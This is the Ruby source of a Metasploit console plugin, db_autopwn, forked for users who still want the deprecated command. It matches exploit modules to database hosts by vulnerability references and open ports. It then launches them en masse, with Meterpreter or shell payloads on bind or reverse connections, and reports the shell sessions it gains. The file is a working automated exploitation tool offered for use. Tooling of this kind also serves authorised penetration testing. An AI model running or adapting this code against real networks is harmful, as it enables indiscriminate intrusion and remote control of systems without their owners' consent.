# # db_autopwn - metasploit plugin for easy exploit & vulnerability attack # But, the db_autopwn command is removed from official distribution. # ====================================================================== # Usage # [ In shell ] # > cp db_autopwn.rb [metasploit-framework directory]/plugins # [ In Metasploit ] # > load db_autopwn module Msf class Plugin::DBAutopwn < Msf::Plugin class DBAutopwnCommandDispatcher include Msf::Ui::Console::CommandDispatcher # # Constants # PWN_SHOW = 2**0 PWN_XREF = 2**1 PWN_PORT = 2**2 PWN_EXPL = 2**3 PWN_SING = 2**4 PWN_SLNT = 2**5 PWN_VERB = 2**6 def name 'db_autopwn' end def commands { 'db_autopwn' => 'Automatically exploit everything' } end # # Returns true if the db is connected, prints an error and returns # false if not. # # All commands that require an active database should call this before # doing anything. # def active? unless framework.db.active print_error('Database not connected') return false end true end # # A shotgun approach to network-wide exploitation # Officially deprecated as of 4.1 # # Forked for those who still want it and understand it's limitations/issues # def cmd_db_autopwn(*args) return unless active? stamp = Time.now.to_f vcnt = 0 rcnt = 0 mode = 0 code = :bind mjob = 5 regx = nil minrank = nil maxtime = 120 port_inc = [] port_exc = [] targ_inc = [] targ_exc = [] args.push('-h') if args.empty? while (arg = args.shift) case arg when '-t' mode |= PWN_SHOW when '-x' mode |= PWN_XREF when '-p' mode |= PWN_PORT when '-e' mode |= PWN_EXPL when '-s' mode |= PWN_SING when '-q' mode |= PWN_SLNT when '-v' mode |= PWN_VERB when '-j' mjob = args.shift.to_i when '-r' code = :conn when '-b' code = :bind when '-I' tmpopt = OptAddressRange.new('TEMPRANGE', [true, '']) range = args.shift unless tmpopt.valid?(range) print_error('Invalid range for -I') return end targ_inc << Rex::Socket::RangeWalker.new(tmpopt.normalize(range)) when '-X' tmpopt = OptAddressRange.new('TEMPRANGE', [true, '']) range = args.shift unless tmpopt.valid?(range) print_error('Invalid range for -X') return end targ_exc << Rex::Socket::RangeWalker.new(tmpopt.normalize(range)) when '-PI' port_inc = Rex::Socket.portspec_to_portlist(args.shift) when '-PX' port_exc = Rex::Socket.portspec_to_portlist(args.shift) when '-m' regx = args.shift when '-R' minrank = args.shift when '-T' maxtime = args.shift.to_f when '-h', '--help' print_status('Usage: db_autopwn [options]') print_line("\t-h Display this help text") print_line("\t-t Show all matching exploit modules") print_line("\t-x Select modules based on vulnerability references") print_line("\t-p Select modules based on open ports") print_line("\t-e Launch exploits against all matched targets") # print_line("\t-s Only obtain a single shell per target system (NON-FUNCTIONAL)") print_line("\t-r Use a reverse connect shell") print_line("\t-b Use a bind shell on a random port (default)") print_line("\t-q Disable exploit module output") print_line("\t-R [rank] Only run modules with a minimal rank") print_line("\t-I [range] Only exploit hosts inside this range") print_line("\t-X [range] Always exclude hosts inside this range") print_line("\t-PI [range] Only exploit hosts with these ports open") print_line("\t-PX [range] Always exclude hosts with these ports open") print_line("\t-m [regex] Only run modules whose name matches the regex") print_line("\t-T [secs] Maximum runtime for any exploit in seconds") print_line('') return end end minrank = minrank || framework.datastore['MinimumRank'] || 'manual' if !RankingName.values.include?(minrank) print_error("MinimumRank invalid! Possible values are (#{RankingName.sort.map { |r| r[1] }.join('|')})") wlog('MinimumRank invalid, ignoring', 'core', LEV_0) return else minrank = RankingName.invert[minrank] end # Default to quiet mode mode |= PWN_SLNT if mode & PWN_VERB == 0 matches = {} refmatches = {} # Pre-allocate a list of references and ports for all exploits mrefs = {} mports = {} mservs = {} # A list of jobs we spawned and need to wait for autopwn_jobs = [] [[framework.exploits, 'exploit'], [framework.auxiliary, 'auxiliary']].each do |mtype| mtype[0].each_module do |_modname, mod| o = mod.new if mode & PWN_XREF != 0 o.references.each do |r| next if r.ctx_id == 'URL' ref = r.ctx_id + '-' + r.ctx_val ref.upcase! mrefs[ref] ||= {} mrefs[ref][o.fullname] = o end end next unless mode & PWN_PORT != 0 if o.datastore['RPORT'] rport = o.datastore['RPORT'] mports[rport.to_i] ||= {} mports[rport.to_i][o.fullname] = o end if o.respond_to?('autofilter_ports') o.autofilter_ports.each do |rport| mports[rport.to_i] ||= {} mports[rport.to_i][o.fullname] = o end end next unless o.respond_to?('autofilter_services') o.autofilter_services.each do |serv| mservs[serv] ||= {} mservs[serv][o.fullname] = o end end end begin framework.db.hosts.each do |host| xhost = host.address next if !targ_inc.empty? && !range_include?(targ_inc, xhost) next if !targ_exc.empty? && range_include?(targ_exc, xhost) if mode & PWN_VERB != 0 print_status("Scanning #{xhost} for matching exploit modules...") end # # Match based on vulnerability references # if mode & PWN_XREF != 0 host.vulns.each do |vuln| # Faster to handle these here serv = vuln.service xport = xprot = nil if serv xport = serv.port xprot = serv.proto end vuln.refs.each do |ref| mods = mrefs[ref.name.upcase] || {} mods.each_key do |modname| mod = mods[modname] next if minrank && (minrank > mod.rank) next if regx && mod.fullname !~ /#{regx}/ if xport next if !port_inc.empty? && !port_inc.include?(serv.port.to_i) next if !port_exc.empty? && port_exc.include?(serv.port.to_i) else if mod.datastore['RPORT'] next if !port_inc.empty? && !port_inc.include?(mod.datastore['RPORT'].to_i) next if !port_exc.empty? && port_exc.include?(mod.datastore['RPORT'].to_i) end end next if regx && mod.fullname !~ /#{regx}/ mod.datastore['RPORT'] = xport if xport mod.datastore['RHOST'] = xhost filtered = false begin ::Timeout.timeout(2, ::RuntimeError) do filtered = true unless mod.autofilter end rescue ::Interrupt raise $ERROR_INFO rescue ::Timeout::Error filtered = true rescue ::Exception filtered = true end next if filtered matches[[xport, xprot, xhost, mod.fullname]] = true refmatches[[xport, xprot, xhost, mod.fullname]] ||= [] refmatches[[xport, xprot, xhost, mod.fullname]] << ref.name end end end end # # Match based on open ports # next unless mode & PWN_PORT != 0 host.services.each do |serv| next unless serv.host next if serv.state != ServiceState::Open xport = serv.port.to_i xprot = serv.proto xname = serv.name next if xport == 0 next if !port_inc.empty? && !port_inc.include?(xport) next if !port_exc.empty? && port_exc.include?(xport) mods = mports[xport.to_i] || {} mods.each_key do |modname| mod = mods[modname] next if minrank && (minrank > mod.rank) next if regx && mod.fullname !~ /#{regx}/ mod.datastore['RPORT'] = xport mod.datastore['RHOST'] = xhost filtered = false begin ::Timeout.timeout(2, ::RuntimeError) do filtered = true unless mod.autofilter end rescue ::Interrupt raise $ERROR_INFO rescue ::Exception filtered = true end next if filtered matches[[xport, xprot, xhost, mod.fullname]] = true end mods = mservs[xname] || {} mods.each_key do |modname| mod = mods[modname] next if minrank && (minrank > mod.rank) next if regx && mod.fullname !~ /#{regx}/ mod.datastore['RPORT'] = xport mod.datastore['RHOST'] = xhost filtered = false begin ::Timeout.timeout(2, ::RuntimeError) do filtered = true unless mod.autofilter end rescue ::Interrupt raise $ERROR_INFO rescue ::Exception filtered = true end next if filtered matches[[xport, xprot, xhost, mod.fullname]] = true end end end rescue ::Exception => e print_status("ERROR: #{e.class} #{e} #{e.backtrace}") return end if mode & PWN_SHOW != 0 print_status("Analysis completed in #{(Time.now.to_f - stamp).to_i} seconds (#{vcnt} vulns / #{rcnt} refs)") print_status('') print_status('=' * 80) print_status(' ' * 28 + 'Matching Exploit Modules') print_status('=' * 80) matches.each_key do |xref| mod = nil if (mod = framework.modules.create(xref[3])).nil? print_status("Failed to initialize #{xref[3]}") next end next unless mode & PWN_SHOW != 0 tport = xref[0] || mod.datastore['RPORT'] if refmatches[xref] print_status(" #{xref[2]}:#{tport} #{xref[3]} (#{refmatches[xref].join(', ')})") else print_status(" #{xref[2]}:#{tport} #{xref[3]} (port match)") end end print_status('=' * 80) print_status('') print_status('') end ilog("db_autopwn: Matched #{matches.length} modules") idx = 0 matches.each_key do |xref| idx += 1 begin mod = nil if (mod = framework.modules.create(xref[3])).nil? print_status("Failed to initialize #{xref[3]}") next end # # The code is just a proof-of-concept and will be expanded in the future # if mode & PWN_EXPL != 0 mod.datastore['RHOST'] = xref[2] mod.datastore['RPORT'] = xref[0].to_s if xref[0] if code == :bind mod.datastore['LPORT'] = rand(4000..40_862).to_s mod.datastore['PAYLOAD'] = if mod.fullname =~ /\/windows\// 'windows/meterpreter/bind_tcp' else 'generic/shell_bind_tcp' end end if code == :conn mod.datastore['LHOST'] = Rex::Socket.source_address(xref[2]) mod.datastore['LPORT'] = rand(4000..40_862).to_s if mod.datastore['LHOST'] == '127.0.0.1' print_status("Failed to determine listener address for target #{xref[2]}...") next end mod.datastore['PAYLOAD'] = if mod.fullname =~ /\/windows\// 'windows/meterpreter/reverse_tcp' else 'generic/shell_reverse_tcp' end end if framework.jobs.keys.length >= mjob print_status('Job limit reached, waiting on modules to finish...') while framework.jobs.keys.length >= mjob ::IO.select(nil, nil, nil, 0.25) end end print_status("(#{idx}/#{matches.length} [#{framework.sessions.length} sessions]): Launching #{xref[3]} against #{xref[2]}:#{mod.datastore['RPORT']}...") autopwn_jobs << framework.threads.spawn("AutoPwnJob#{xref[3]}", false, mod) do |xmod| begin stime = Time.now.to_f ::Timeout.timeout(maxtime) do inp = mode & PWN_SLNT != 0 ? nil : driver.input out = mode & PWN_SLNT != 0 ? nil : driver.output case xmod.type when MODULE_EXPLOIT xmod.exploit_simple( 'Payload' => xmod.datastore['PAYLOAD'], 'LocalInput' => inp, 'LocalOutput' => out, 'RunAsJob' => false ) when MODULE_AUX xmod.run_simple( 'LocalInput' => inp, 'LocalOutput' => out, 'RunAsJob' => false ) end end rescue ::Timeout::Error print_status(" >> autopwn module timeout from #{xmod.fullname} after #{Time.now.to_f - stime} seconds") rescue ::Exception print_status(" >> autopwn exception during launch from #{xmod.fullname}: #{$ERROR_INFO} ") end end end rescue ::Interrupt raise $ERROR_INFO rescue ::Exception print_status(" >> autopwn exception from #{xref[3]}: #{$ERROR_INFO} #{$ERROR_INFO.backtrace}") end end # Wait on all the jobs we just spawned until autopwn_jobs.empty? # All running jobs are stored in framework.jobs. If it's # not in this list, it must have completed. autopwn_jobs.delete_if { |j| !j.alive? } print_status("(#{matches.length}/#{matches.length} [#{framework.sessions.length} sessions]): Waiting on #{autopwn_jobs.length} launched modules to finish execution...") ::IO.select(nil, nil, nil, 5.0) end if (mode & PWN_SHOW != 0) && (mode & PWN_EXPL != 0) print_status("The autopwn command has completed with #{framework.sessions.length} sessions") unless framework.sessions.empty? print_status('Enter sessions -i [ID] to interact with a given session ID') print_status('') print_status('=' * 80) driver.run_single('sessions -l -v') print_status('=' * 80) end end print_line('') # EOM end ############################## ############################## end def initialize(framework, opts) super add_console_dispatcher(DBAutopwnCommandDispatcher) end def cleanup remove_console_dispatcher('db_autopwn') end def name 'db_autopwn' end def desc 'Automatically exploit everything' end end end